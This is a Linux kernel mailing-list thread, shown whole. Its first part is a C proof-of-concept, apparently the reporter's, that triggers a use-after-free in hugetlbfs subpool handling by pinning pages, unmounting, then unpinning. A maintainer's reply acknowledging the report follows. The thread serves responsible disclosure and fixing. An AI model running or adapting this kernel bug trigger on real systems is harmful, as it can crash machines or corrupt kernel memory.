	if (ftruncate(fd, two_pages ? 2 * HPAGE : HPAGE))
		die("ftruncate i_size");
	p = mmap(NULL, two_pages ? 2 * HPAGE : HPAGE, PROT_READ | PROT_WRITE,
		 MAP_SHARED, fd, 0);
	if (p == MAP_FAILED)
		die("mmap");
	*(volatile char *)p = 0x41;	/* fault page 0 into the page cache */
	printf("HUGSP1: faulted page 0\n");
	if (two_pages) {
		p2 = (char *)p + HPAGE;
		*(volatile char *)p2 = 0x42;
		printf("HUGSP1: faulted page 1\n");
	}
	pin_page(p, "page0");
	if (two_pages)
		pin_page(p2, "page1");
	if (munmap(p, two_pages ? 2 * HPAGE : HPAGE))
		die("munmap");
	close(fd);
	printf("HUGSP1: unmapped + closed; page cache refs dropped, pin held\n");
	if (do_umount())
		die("umount");
	printf("HUGSP1: umounted -> hugepage_put_subpool() ran\n");
	fflush(stdout);
	drain_pin(two_pages ? "page0" : "page0");
	if (two_pages)
		drain_pin("page1");
	close_pipe();
	printf("HUGSP1: poca done\n");
}

/*
 * pocb: min_size=2M.  Reserve two pages by mmap(4M), fault+pin only page 0,
 * then ftruncate to 2M so that hugetlb_unreserve_pages() puts rsv_hpages back
 * to min_hpages while page 0 is still pinned.
 */
static void run_pocb(void)
{
	void *p;
	int fd;

	setup_mount("min_size=2M");
	make_pipe();
	fd = open("/mnt/huge/f", O_CREAT | O_RDWR, 0600);
	if (fd < 0)
		die("open /mnt/huge/f");
	if (ftruncate(fd, 2 * HPAGE))
		die("ftruncate 4M");
	p = mmap(NULL, 2 * HPAGE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
	if (p == MAP_FAILED)
		die("mmap 4M");
	*(volatile char *)p = 0x41;
	printf("HUGSP1: faulted page 0 (page 1 left untouched)\n");
	pin_page(p, "page0");
	if (munmap(p, 2 * HPAGE))
		die("munmap");
	if (ftruncate(fd, HPAGE))
		die("ftruncate 2M");
	printf("HUGSP1: truncated to 2M -> rsv_hpages back to min_hpages\n");
	close(fd);
	if (do_umount())
		die("umount");
	printf("HUGSP1: umounted -> hugepage_put_subpool() ran\n");
	fflush(stdout);
	drain_pin("page0");
	close_pipe();
	printf("HUGSP1: pocb done\n");
}

/*
 * ctl: negative control.  The pin is released while the superblock is still
 * alive, so free_huge_folio() sees a live subpool (count == 1) and nothing is
 * freed -> no KASAN report expected.
 */
static void run_ctl(void)
{
	void *p;
	int fd;

	setup_mount("min_size=0");
	make_pipe();
	fd = open("/mnt/huge/f", O_CREAT | O_RDWR, 0600);
	if (fd < 0)
		die("open /mnt/huge/f");
	if (ftruncate(fd, HPAGE))
		die("ftruncate");
	p = mmap(NULL, HPAGE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
	if (p == MAP_FAILED)
		die("mmap");
	*(volatile char *)p = 0x41;
	pin_page(p, "page0");
	if (munmap(p, HPAGE))
		die("munmap");
	drain_pin("page0");	/* unpin while sb alive: spool count == 1 */
	close_pipe();
	close(fd);
	if (do_umount())
		die("umount");
	printf("HUGSP1: ctl done (expected: no KASAN report)\n");
}

int main(int argc, char **argv)
{
	const char *mode = argc > 1 ? argv[1] : "poca";

	setvbuf(stdout, NULL, _IONBF, 0);
	printf("HUGSP1: start mode=%s\n", mode);
	check_hugepages();
	if (!strcmp(mode, "poca"))
		run_poca(0);
	else if (!strcmp(mode, "poca2"))
		run_poca(1);
	else if (!strcmp(mode, "pocb"))
		run_pocb();
	else if (!strcmp(mode, "ctl"))
		run_ctl();
	else {
		printf("HUGSP1: unknown mode %s\n", mode);
		return 1;
	}
	printf("HUGSP1: end\n");
	return 0;
}

^ permalink raw reply	[flat|nested] 5+ messages in thread

* Re: mm/hugetlb: a min_size-only hugetlbfs subpool is kfree()d before its last pinned page is released, so free_huge_folio() takes a spinlock on freed memory (UAF)
  2026-11-22  7:37   ` mm/hugetlb: a min_size-only hugetlbfs subpool is kfree()d before its last pinned page is released, so free_huge_folio() takes a spinlock on freed memory (UAF) 徐晗翔
@ 2026-11-22 15:58     ` David Hildenbrand (Arm)
  0 siblings, 0 replies; 5+ messages in thread
From: David Hildenbrand (Arm) @ 2026-11-22 15:58 UTC (permalink / raw)
  To: 徐晗翔, muchun.song, osalvador, akpm
  Cc: linux-mm, linux-kernel

On 11/22/26 08:37, 徐晗翔 wrote:
> A hugetlbfs mount that sets only min_size= (no size=) leaves
> hugepage_subpool::used_hpages unmaintained and clamps ::rsv_hpages to
> min_hpages, so subpool_is_free() can report "free" while folios that
> still carry the subpool pointer are in flight.  The destroy decision is
> taken under spool->lock but the field reads, hugetlb_acct_memory() and
> kfree() happen after the unlock, and only superblock handles are counted
> (spool->count), not folios.  A page that a user pinned with vmsplice()
> outlives evict_inodes() and put_super(); when the pin is finally released,
> free_huge_folio() calls hugepage_subpool_put_pages() on the freed object:
> it spin_lock_irqsave()s the freed slab and dereferences spool->hstate /
> spool->min_hpages.  KASAN reports slab-use-after-free at the lock
> acquisition; on a kernel without KASAN/quarantine the same path reaches a
> second kfree(spool) and hugetlb_acct_memory(h, -min_hpages), i.e. a
> double free plus an unsigned underflow of hstate.resv_huge_pages.  The
> whole PoC-A sequence is single-threaded and deterministic - no race
> window needs to be widened - and three variants reproduce on 7.3.
> 
> The detailed description:

Thanks for the report!

I have an AI generated report+fix for this problem pending for rework already.
... but I'm focusing on non-hugetlb first, I will get back to hugetlb soon (or
delegate :) ).

-- 
Cheers,

David


^ permalink raw reply	[flat|nested] 5+ messages in thread

end of thread, other threads:[~2026-11-22 15:58 UTC | newest]

Thread overview: 5+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
     [not found] <4c7f9772.192e1.1a17d5c2ed5.Coremail.xuhx@hust.edu.cn>
     [not found] ` <2026102727-data-sequel-ce41@gregkh>
2026-11-03 11:21   ` mm/slub: has_pcs_used() reads remote per-CPU sheaf state from flush_all_cpus_locked() without synchronization (data race; KCSAN blind spot: slub.o is uninstrumented) 徐晗翔
2026-11-04  9:41     ` Qing Wang
2026-11-04 10:07       ` Qing Wang
2026-11-22  7:37   ` mm/hugetlb: a min_size-only hugetlbfs subpool is kfree()d before its last pinned page is released, so free_huge_folio() takes a spinlock on freed memory (UAF) 徐晗翔
2026-11-22 15:58     ` David Hildenbrand (Arm)

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox